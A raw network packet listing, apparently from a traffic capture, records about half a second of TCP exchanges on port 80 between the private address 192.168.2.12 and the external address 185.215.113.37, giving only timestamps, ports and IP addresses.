Oct 7, 2024 18:03:21.370194912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370321035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370333910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370345116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370357037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370358944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370384932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370408058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370582104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370604038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370614052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370625019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370625973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370645046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370668888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370826006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370862961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370908022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370919943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370929003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370940924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370946884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370954037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370965004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370965004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370976925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370976925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370996952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371020079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371380091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371407986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371418953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371429920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371442080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371442080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371453047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371459007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371464014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371474981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371481895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371485949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371496916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371496916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.371515989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.371540070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372065067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372078896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372090101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372100115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372111082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372112989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372121096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372123957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372132063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372143984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372153997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372155905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372168064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372178078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372183084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372189045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372195959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372200966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372211933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.372219086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372242928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372251987 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.372998953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373012066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373020887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373032093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373042107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373047113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.373053074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373061895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373070002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.373071909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373081923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373086929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.373086929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373092890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373097897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373100996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.373102903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373107910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373117924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373128891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.373143911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.373214960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374531984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374548912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374557972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374568939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374578953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374583960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374589920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374592066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374600887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374609947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374619961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374623060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374631882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374640942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374649048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374651909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374664068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374674082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374675989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374682903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374696016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.374701977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374722958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.374728918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.391258001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.391273975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.391284943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.391299009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.391308069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.391496897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494424105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494436026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494448900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494504929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494532108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494566917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494576931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494589090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494605064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494625092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494679928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494692087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494704008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494715929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494745970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494906902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494927883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494940042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494945049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494951963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494962931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.494973898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.494976044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495003939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495019913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495289087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495301008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495311975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495326042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495343924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495430946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495441914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495451927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495464087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495465040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495475054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495486021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495486975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495500088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495521069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495543957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495753050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495788097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495826006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495837927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495871067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495948076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495963097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.495985985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.495997906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496010065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496015072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496033907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496056080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496200085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496234894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496321917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496334076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496344090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496356964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496356964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496371984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496376038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496383905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496393919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496404886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496407986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496417046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496428967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496431112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496449947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496468067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.496942043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496953964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496965885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496978045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.496984959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.497019053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.561779976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.566780090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776613951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776648998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776662111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776700020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.776717901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.776758909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776770115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776779890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776791096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776804924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.776806116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.776818037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.776854992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777059078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777070045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777102947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777107000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777116060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777117968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777129889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777141094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777149916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777153015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777164936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777194977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777580023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777591944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777601004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777611971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777623892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777626038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777635098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.777654886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.777676105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778013945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778026104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778036118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778045893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778055906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778065920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778072119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778076887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778093100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778116941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778577089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778589010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778599024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778609037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778619051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778620005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778628111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778639078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778639078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778654099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778667927 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778678894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778687000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778690100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778702021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778712988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778717995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778723955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.778742075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.778762102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779515028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779527903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779537916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779547930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779558897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779561996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779571056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779572010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779584885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779596090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779604912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779604912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779617071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779623985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779628038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779640913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779643059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779650927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779655933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779661894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779673100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779685974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.779687881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779714108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.779726028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780425072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780437946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780447960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780457973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780468941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780476093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780479908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780491114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780497074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780500889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780510902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780519009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780525923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780534029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780535936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780548096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780556917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780558109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.780577898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.780601025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.781277895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781291962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781302929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781315088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781323910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781328917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.781335115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781344891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781358004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781362057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.781368971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781379938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.781394958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.781419992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.860804081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.860883951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.860954046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.861002922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901276112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901312113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901336908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901346922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901365042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901380062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901402950 CEST	80	49711	185.215.113.37	192.168.2.12
